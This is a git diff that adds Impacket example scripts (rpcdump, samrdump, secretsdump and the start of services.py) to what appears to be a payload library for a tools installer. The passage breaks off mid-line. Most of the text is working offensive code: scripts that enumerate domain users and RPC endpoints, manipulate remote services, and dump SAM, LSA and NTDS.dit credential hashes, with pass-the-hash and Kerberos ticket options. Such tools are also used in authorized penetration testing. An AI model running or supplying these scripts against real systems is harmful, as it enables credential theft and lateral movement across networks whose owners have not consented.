parentKey is None: + return + + keys = reg.enumKey(parentKey) + + for key in keys: + print "%s%s" %(indent, key) + if isRecursive is True: + if searchKey == '\\': + enumKey(reg, '\\%s'%key,isRecursive,indent+' ') + else: + enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ') + +def walk(reg, keyName): + return reg.walk(keyName) + + +def main(): + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.") + + parser.add_argument('hive', action='store', help='registry hive to open') + subparsers = parser.add_subparsers(help='actions', dest='action') + # A enum_key command + enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key') + enumkey_parser.add_argument('-name', action='store', required=True, help='registry key') + enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)') + + # A enum_values command + enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key') + enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key') + + # A get_value command + getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value') + getvalue_parser.add_argument('-name', action='store', required=True, help='registry value') + + # A get_class command + getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class') + getclass_parser.add_argument('-name', action='store', required=True, help='registry class name') + + # A walk command + walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down') + walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + reg = winregistry.Registry(options.hive) + + if options.action.upper() == 'ENUM_KEY': + print "[%s]" % options.name + enumKey(reg, options.name, options.recursive) + elif options.action.upper() == 'ENUM_VALUES': + enumValues(reg, options.name) + elif options.action.upper() == 'GET_VALUE': + getValue(reg, options.name) + elif options.action.upper() == 'GET_CLASS': + getClass(reg, options.name) + elif options.action.upper() == 'WALK': + walk(reg, options.name) + + reg.close() + +if __name__ == "__main__": + main() + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/rpcdump.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/rpcdump.py new file mode 100644 index 0000000..fd3e879 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/rpcdump.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# DCE/RPC endpoint mapper dumper. +# +# Author: +# Javier Kohen +# Alberto Solino +# +# Reference for: +# DCE/RPC. + +import sys +import logging +import argparse + +from impacket.examples import logger +from impacket import uuid, version +from impacket.dcerpc.v5 import transport, epm + +class RPCDump: + KNOWN_PROTOCOLS = { + 135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False}, + 139: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]', 'set_host': True}, + 445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]', 'set_host': True} + } + + def __init__(self, username = '', password = '', domain='', hashes = None, port=135): + + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__port = port + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def dump(self, remoteName, remoteHost): + """Dumps the list of endpoints registered with the mapper + listening at addr. remoteName is a valid host name or IP + address in string format. + """ + + logging.info('Retrieving endpoint list from %s' % remoteName) + + entries = [] + + stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName + logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + + if self.KNOWN_PROTOCOLS[self.__port]['set_host']: + rpctransport.setRemoteHost(remoteHost) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, + self.__lmhash, self.__nthash) + + try: + entries = self.__fetchList(rpctransport) + except Exception, e: + logging.critical('Protocol failed: %s' % e) + + # Display results. + + endpoints = {} + # Let's groups the UUIDS + for entry in entries: + binding = epm.PrintStringBinding(entry['tower']['Floors'], rpctransport.getRemoteHost()) + tmpUUID = str(entry['tower']['Floors'][0]) + if endpoints.has_key(tmpUUID) is not True: + endpoints[tmpUUID] = {} + endpoints[tmpUUID]['Bindings'] = list() + if epm.KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]): + endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]] + else: + endpoints[tmpUUID]['EXE'] = 'N/A' + endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1] + endpoints[tmpUUID]['Bindings'].append(binding) + + if epm.KNOWN_PROTOCOLS.has_key(tmpUUID[:36]): + endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]] + else: + endpoints[tmpUUID]['Protocol'] = "N/A" + #print "Transfer Syntax: %s" % entry['Tower']['Floors'][1] + + for endpoint in endpoints.keys(): + print "Protocol: %s " % endpoints[endpoint]['Protocol'] + print "Provider: %s " % endpoints[endpoint]['EXE'] + print "UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation']) + print "Bindings: " + for binding in endpoints[endpoint]['Bindings']: + print " %s" % binding + print "" + + if entries: + num = len(entries) + if 1 == num: + logging.info('Received one endpoint.') + else: + logging.info('Received %d endpoints.' % num) + else: + logging.info('No endpoints found.') + + + def __fetchList(self, rpctransport): + dce = rpctransport.get_dce_rpc() + + dce.connect() + #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) + #dce.bind(epm.MSRPC_UUID_PORTMAP) + #rpcepm = epm.DCERPCEpm(dce) + + resp = epm.hept_lookup(None, dce=dce) + + dce.disconnect() + + return resp + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Dumps the remote RPC enpoints information.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('connection') + + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' + 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' + 'name and you cannot resolve it') + group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='135', metavar="destination port", + help='Destination port to connect to SMB Server') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') + + #In case the password contains '@' + if '@' in remoteName: + password = password + '@' + remoteName.rpartition('@')[0] + remoteName = remoteName.rpartition('@')[2] + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None: + from getpass import getpass + password = getpass("Password:") + + if options.target_ip is None: + options.target_ip = remoteName + + dumper = RPCDump(username, password, domain, options.hashes, int(options.port)) + + dumper.dump(remoteName, options.target_ip) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/samrdump.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/samrdump.py new file mode 100644 index 0000000..42a7b1c --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/samrdump.py @@ -0,0 +1,262 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: DCE/RPC SAMR dumper. +# +# Author: +# Javier Kohen +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC for SAMR + +import sys +import logging +import argparse +import codecs + +from datetime import datetime +from impacket.examples import logger +from impacket import version +from impacket.nt_errors import STATUS_MORE_ENTRIES +from impacket.dcerpc.v5 import transport, samr +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.smb import SMB_DIALECT + +class ListUsersException(Exception): + pass + +class SAMRDump: + def __init__(self, username='', password='', domain='', hashes=None, + aesKey=None, doKerberos=False, kdcHost=None, port=445, csvOutput=False): + + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__port = port + self.__csvOutput = csvOutput + + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def dump(self, remoteName, remoteHost): + """Dumps the list of users and shares registered present at + remoteName. remoteName is a valid host name or IP address. + """ + + entries = [] + + logging.info('Retrieving endpoint list from %s' % remoteName) + + stringbinding = 'ncacn_np:%s[\pipe\samr]' % remoteName + logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + + if hasattr(rpctransport,'preferred_dialect'): + rpctransport.preferred_dialect(SMB_DIALECT) + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + try: + entries = self.__fetchList(rpctransport) + except Exception, e: + logging.critical(str(e)) + + # Display results. + + if self.__csvOutput is True: + print '#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount,PasswordLastSet,PasswordDoesNotExpire,AccountIsDisabled,UserComment,ScriptPath' + + for entry in entries: + (username, uid, user) = entry + pwdLastSet = (user['PasswordLastSet']['HighPart'] << 32) + user['PasswordLastSet']['LowPart'] + if pwdLastSet == 0: + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(pwdLastSet))) + + if user['UserAccountControl'] & samr.USER_DONT_EXPIRE_PASSWORD: + dontExpire = 'True' + else: + dontExpire = 'False' + + if user['UserAccountControl'] & samr.USER_ACCOUNT_DISABLED: + accountDisabled = 'True' + else: + accountDisabled = 'False' + + if self.__csvOutput is True: + print '%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (username, uid, user['FullName'], user['PrimaryGroupId'], + user['BadPasswordCount'], user['LogonCount'],pwdLastSet, + dontExpire, accountDisabled, user['UserComment'].replace(',','.'), + user['ScriptPath'] ) + else: + base = "%s (%d)" % (username, uid) + print base + '/FullName:', user['FullName'] + print base + '/UserComment:', user['UserComment'] + print base + '/PrimaryGroupId:', user['PrimaryGroupId'] + print base + '/BadPasswordCount:', user['BadPasswordCount'] + print base + '/LogonCount:', user['LogonCount'] + print base + '/PasswordLastSet:',pwdLastSet + print base + '/PasswordDoesNotExpire:',dontExpire + print base + '/AccountIsDisabled:',accountDisabled + print base + '/ScriptPath:', user['ScriptPath'] + + if entries: + num = len(entries) + if 1 == num: + logging.info('Received one entry.') + else: + logging.info('Received %d entries.' % num) + else: + logging.info('No entries received.') + + + def __fetchList(self, rpctransport): + dce = rpctransport.get_dce_rpc() + + entries = [] + + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + + try: + resp = samr.hSamrConnect(dce) + serverHandle = resp['ServerHandle'] + + resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) + domains = resp['Buffer']['Buffer'] + + print 'Found domain(s):' + for domain in domains: + print " . %s" % domain['Name'] + + logging.info("Looking up users in domain %s" % domains[0]['Name']) + + resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) + + resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) + domainHandle = resp['DomainHandle'] + + status = STATUS_MORE_ENTRIES + enumerationContext = 0 + while status == STATUS_MORE_ENTRIES: + try: + resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) + except DCERPCException, e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + + for user in resp['Buffer']['Buffer']: + r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) + print "Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] ) + info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) + entry = (user['Name'], user['RelativeId'], info['Buffer']['All']) + entries.append(entry) + samr.hSamrCloseHandle(dce, r['UserHandle']) + + enumerationContext = resp['EnumerationContext'] + status = resp['ErrorCode'] + + except ListUsersException, e: + logging.critical("Error listing users: %s" % e) + + dce.disconnect() + + return entries + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the " + "target system.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-csv', action='store_true', help='Turn CSV output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' + 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' + 'name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in remoteName: + password = password + '@' + remoteName.rpartition('@')[0] + remoteName = remoteName.rpartition('@')[2] + + if domain is None: + domain = '' + + if options.target_ip is None: + options.target_ip = remoteName + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + dumper = SAMRDump(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port), options.csv) + dumper.dump(remoteName, options.target_ip) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/secretsdump.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/secretsdump.py new file mode 100644 index 0000000..a1c7e52 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/secretsdump.py @@ -0,0 +1,358 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: Performs various techniques to dump hashes from the +# remote machine without executing any agent there. +# For SAM and LSA Secrets (including cached creds) +# we try to read as much as we can from the registry +# and then we save the hives in the target system +# (%SYSTEMROOT%\\Temp dir) and read the rest of the +# data from there. +# For NTDS.dit we either: +# a. Get the domain users list and get its hashes +# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() +# call, replicating just the attributes we need. +# b. Extract NTDS.dit via vssadmin executed with the +# smbexec approach. +# It's copied on the temp dir and parsed remotely. +# +# The script initiates the services required for its working +# if they are not available (e.g. Remote Registry, even if it is +# disabled). After the work is done, things are restored to the +# original state. +# +# Author: +# Alberto Solino (@agsolino) +# +# References: Most of the work done by these guys. I just put all +# the pieces together, plus some extra magic. +# +# https://github.com/gentilkiwi/kekeo/tree/master/dcsync +# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html +# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html +# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html +# http://www.quarkslab.com/en-blog+read+13 +# https://code.google.com/p/creddump/ +# http://lab.mediaservice.net/code/cachedump.rb +# http://insecurety.net/?p=768 +# http://www.beginningtoseethelight.org/ntsecurity/index.htm +# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf +# http://www.passcape.com/index.php?section=blog&cmd=details&id=15 +# +import argparse +import codecs +import logging +import os +import sys + +from impacket import version +from impacket.examples import logger +from impacket.smbconnection import SMBConnection + +from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes + +class DumpSecrets: + def __init__(self, address, username='', password='', domain='', options=None): + self.__useVSSMethod = options.use_vss + self.__remoteAddr = address + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__smbConnection = None + self.__remoteOps = None + self.__SAMHashes = None + self.__NTDSHashes = None + self.__LSASecrets = None + self.__systemHive = options.system + self.__securityHive = options.security + self.__samHive = options.sam + self.__ntdsFile = options.ntds + self.__history = options.history + self.__noLMHash = True + self.__isRemote = True + self.__outputFileName = options.outputfile + self.__doKerberos = options.k + self.__justDC = options.just_dc + self.__justDCNTLM = options.just_dc_ntlm + self.__justUser = options.just_dc_user + self.__pwdLastSet = options.pwd_last_set + self.__printUserStatus= options.user_status + self.__resumeFileName = options.resumefile + self.__canProcessSAMLSA = True + self.__kdcHost = options.dc_ip + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self): + self.__smbConnection = SMBConnection(self.__remoteAddr, self.__remoteAddr) + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def dump(self): + try: + if self.__remoteAddr.upper() == 'LOCAL' and self.__username == '': + self.__isRemote = False + self.__useVSSMethod = True + localOperations = LocalOperations(self.__systemHive) + bootKey = localOperations.getBootKey() + if self.__ntdsFile is not None: + # Let's grab target's configuration about LM Hashes storage + self.__noLMHash = localOperations.checkNoLMHashPolicy() + else: + self.__isRemote = True + bootKey = None + try: + try: + self.connect() + except: + if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help') + pass + else: + raise + + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: + self.__remoteOps.enableRegistry() + bootKey = self.__remoteOps.getBootKey() + # Let's check whether target system stores LM Hashes + self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() + except Exception, e: + self.__canProcessSAMLSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__doKerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ + logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') + else: + logging.error('RemoteOperations failed: %s' % str(e)) + + # If RemoteOperations succeeded, then we can extract SAM and LSA + if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: + try: + if self.__isRemote is True: + SAMFileName = self.__remoteOps.saveSAM() + else: + SAMFileName = self.__samHive + + self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) + self.__SAMHashes.dump() + if self.__outputFileName is not None: + self.__SAMHashes.export(self.__outputFileName) + except Exception, e: + logging.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__isRemote is True: + SECURITYFileName = self.__remoteOps.saveSECURITY() + else: + SECURITYFileName = self.__securityHive + + self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote) + self.__LSASecrets.dumpCachedHashes() + if self.__outputFileName is not None: + self.__LSASecrets.exportCached(self.__outputFileName) + self.__LSASecrets.dumpSecrets() + if self.__outputFileName is not None: + self.__LSASecrets.exportSecrets(self.__outputFileName) + except Exception, e: + logging.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + if self.__isRemote is True: + if self.__useVSSMethod and self.__remoteOps is not None: + NTDSFileName = self.__remoteOps.saveNTDS() + else: + NTDSFileName = None + else: + NTDSFileName = self.__ntdsFile + + self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, + noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, + useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, + pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, + outputFileName=self.__outputFileName, justUser=self.__justUser, + printUserStatus= self.__printUserStatus) + try: + self.__NTDSHashes.dump() + except Exception, e: + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resumeFile = self.__NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + logging.error(e) + if self.__useVSSMethod is False: + logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + self.cleanup() + except (Exception, KeyboardInterrupt), e: + #import traceback + #print traceback.print_exc() + logging.error(e) + if self.__NTDSHashes is not None: + if isinstance(e, KeyboardInterrupt): + while True: + answer = raw_input("Delete resume session file? [y/N] ") + if answer.upper() == '': + answer = 'N' + break + elif answer.upper() == 'Y': + answer = 'Y' + break + elif answer.upper() == 'N': + answer = 'N' + break + if answer == 'Y': + resumeFile = self.__NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + try: + self.cleanup() + except: + pass + + def cleanup(self): + logging.info('Cleaning up... ') + if self.__remoteOps: + self.__remoteOps.finish() + if self.__SAMHashes: + self.__SAMHashes.finish() + if self.__LSASecrets: + self.__LSASecrets.finish() + if self.__NTDSHashes: + self.__NTDSHashes.finish() + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from " + "the remote machine without executing any agent there.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' + ' (if you want to parse local files)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-system', action='store', help='SYSTEM hive to parse') + parser.add_argument('-security', action='store', help='SECURITY hive to parse') + parser.add_argument('-sam', action='store', help='SAM hive to parse') + parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') + parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only ' + 'available to DRSUAPI approach). This file will also be used to keep updating the session\'s ' + 'state') + parser.add_argument('-outputfile', action='store', + help='base output filename. Extensions will be added for sam, secrets, cached and ntds') + parser.add_argument('-use-vss', action='store_true', default=False, + help='Use the VSS method insead of default DRSUAPI') + group = parser.add_argument_group('display options') + group.add_argument('-just-dc-user', action='store', metavar='USERNAME', + help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' + 'Implies also -just-dc switch') + group.add_argument('-just-dc', action='store_true', default=False, + help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') + group.add_argument('-just-dc-ntlm', action='store_true', default=False, + help='Extract only NTDS.DIT data (NTLM hashes only)') + group.add_argument('-pwd-last-set', action='store_true', default=False, + help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') + group.add_argument('-user-status', action='store_true', default=False, + help='Display whether or not the user is disabled') + group.add_argument('-history', action='store_true', help='Dump password history') + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' + ' the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' + ' (128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + if options.just_dc_user is not None: + if options.use_vss is True: + logging.error('-just-dc-user switch is not supported in VSS mode') + sys.exit(1) + elif options.resumefile is not None: + logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch') + sys.exit(1) + elif address.upper() == 'LOCAL' and username == '': + logging.error('-just-dc-user not compatible in LOCAL mode') + sys.exit(1) + else: + # Having this switch on implies not asking for anything else. + options.just_dc = True + + if options.use_vss is True and options.resumefile is not None: + logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode') + sys.exit(1) + + if address.upper() == 'LOCAL' and username == '' and options.resumefile is not None: + logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode') + sys.exit(1) + + if address.upper() == 'LOCAL' and username == '': + if options.system is None: + logging.error('SYSTEM hive is always required for local parsing, check help') + sys.exit(1) + else: + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + dumper = DumpSecrets(address, username, password, domain, options) + try: + dumper.dump() + except Exception, e: + logging.error(e) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/services.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/services.py new file mode 100644 index 0000000..488f8e5 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/services.py @@ -0,0 +1,356 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# [MS-SCMR] services common functions for manipulating services +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC. +# TODO: +# [ ] Check errors + +import sys +import argparse +import logging +import codecs + +from impacket.examples import logger +from impacket import version +from impacket.dcerpc.v5 import transport, scmr +from impacket.dcerpc.v5.ndr import NULL +from impacket.crypto import * + + +class SVCCTL: + + def __init__(self, username, password, domain, options, port=445): + self.__username = username + self.__password = password + self.__options = options + self.__port = port + self.__action = options.action.upper() + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__doKerberos = options.k + self.__kdcHost = options.dc_ip + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def run(self, remoteName, remoteHost): + + stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName + logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) + + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + self.doStuff(rpctransport) + + def doStuff(self, rpctransport): + dce = rpctransport.get_dce_rpc() + #dce.set_credentials(self.__username, self.__password) + dce.connect() + #dce.set_max_fragment_size(1) + #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) + #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) + dce.bind(scmr.MSRPC_UUID_SCMR) + #rpc = svcctl.DCERPCSvcCtl(dce) + rpc = dce + ans = scmr.hROpenSCManagerW(rpc) + scManagerHandle = ans['lpScHandle'] + if self.__action != 'LIST' and self.__action != 'CREATE': + ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00') + serviceHandle = ans['lpServiceHandle'] + + if self.__action == 'START': + logging.info("Starting service %s" % self.__options.name) + scmr.hRStartServiceW(rpc, serviceHandle) + scmr.hRCloseServiceHandle(rpc, serviceHandle) + elif self.__action == 'STOP': + logging.info("Stopping service %s" % self.__options.name) + scmr.hRControlService(rpc, serviceHandle, 